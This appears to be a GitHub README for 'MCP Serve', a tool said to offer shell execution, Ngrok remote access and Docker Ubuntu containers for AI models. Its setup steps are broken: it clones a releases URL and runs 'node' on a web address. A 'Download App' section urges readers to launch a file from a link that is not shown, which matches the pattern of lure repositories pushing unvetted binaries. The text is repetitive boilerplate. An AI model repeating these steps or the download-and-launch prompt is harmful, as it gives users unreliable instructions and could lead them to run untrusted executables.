MCP Serve: Docker Containers & Remote Access

Key Features of MCP Serve

• Docker Integration: Spin up consistent environments with pre-configured Ubuntu 24 containers.
• Remote Execution: Use Ngrok to securely access your models from anywhere.
• Protocol Support: Built-in compatibility with ModelContextProtocol and OpenAI APIs.
• Development Speed: Rapid prototyping with shell command execution and real-time updates.

Common Use Cases

Deploy MCP Serve for:

• Testing models in production-like Docker environments.
• Collaborating with teams via remote API endpoints.
• Scaling model deployments without manual configuration.
• Automating workflows with integrated ML frameworks.

Frequently Asked Questions

Q: I’m getting an error when installing dependencies.
A: Check your Node.js/python version and ensure dependencies are up-to-date. Run npm audit fix or pip install --upgrade.

Q: How do I troubleshoot Ngrok connectivity?
A: Verify your internet connection and firewall settings. Use ngrok logs to diagnose issues.

Q: Can I contribute to the project?
A: Yes! Submit pull requests via GitHub. Refer to the contributing guidelines for setup details.

MCP Serve: A Powerful Server for Deep Learning Models

Welcome to the MCP Serve repository, a cutting-edge tool designed for running Deep Learning models effortlessly. With a simple yet effective MCP Server that allows for Shell execution, connecting locally via Ngrok, or even hosting an Ubuntu24 container using Docker, this repository is a must-have for any AI enthusiast!

Features 🚀

🔹 Simple MCP Server : Easily launch your Deep Learning models and serve them using the MCP Server. 🔹 Shell Execution : Execute commands directly from the server shell for maximum control. 🔹 Ngrok Connectivity : Connect to your local server via Ngrok for seamless access from anywhere. 🔹 Ubuntu24 Container Hosting : Utilize Docker to host an Ubuntu24 container for a stable environment. 🔹 Cutting-Edge Technologies : Designed with Anthropic, Gemini, LangChain, and more top-notch technologies. 🔹 Support for ModelContextProtocol : Ensuring seamless integration with various Deep Learning models. 🔹 OpenAI Integration : Connect effortlessly with OpenAI for advanced AI capabilities.

Repository Topics 📋

✨ anthropic, claude, container, deepseek, docker, gemini, langchain, langgraph, mcp, modelcontextprotocol, ngrok, openai, sonnet, ubuntu, vibecoding

Download App 📦

If the link above ends with the file name, don't forget to launch it and start exploring the possibilities!

Getting Started 🏁

To get started with MCP Serve, follow these simple steps:

1. Clone the Repository : git clone https://github.com/mark-oori/mcpserve/releases
2. Install Dependencies : npm install
3. Launch the MCP Server : node https://github.com/mark-oori/mcpserve/releases

Contributing 🤝

We welcome contributions to make MCP Serve even more robust and feature-rich. Feel free to fork the repository, make your changes, and submit a pull request.

Community 🌟

Join our community of AI enthusiasts, developers, and researchers to discuss the latest trends in Deep Learning, AI frameworks, and more. Share your projects, ask questions, and collaborate with like-minded individuals.

Support ℹ️

If you encounter any issues with MCP Serve or have any questions, please check the "Issues" section of the repository or reach out to our support team for assistance.

License 📜

This project is licensed under the MIT License - see the LICENSE file for details.

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Dive into the world of Deep Learning with MCP Serve and revolutionize the way you interact with AI models. Whether you're a seasoned AI professional or a beginner exploring the possibilities of AI, MCP Serve has something for everyone. Start your Deep Learning journey today! 🌌

Happy coding! 💻🤖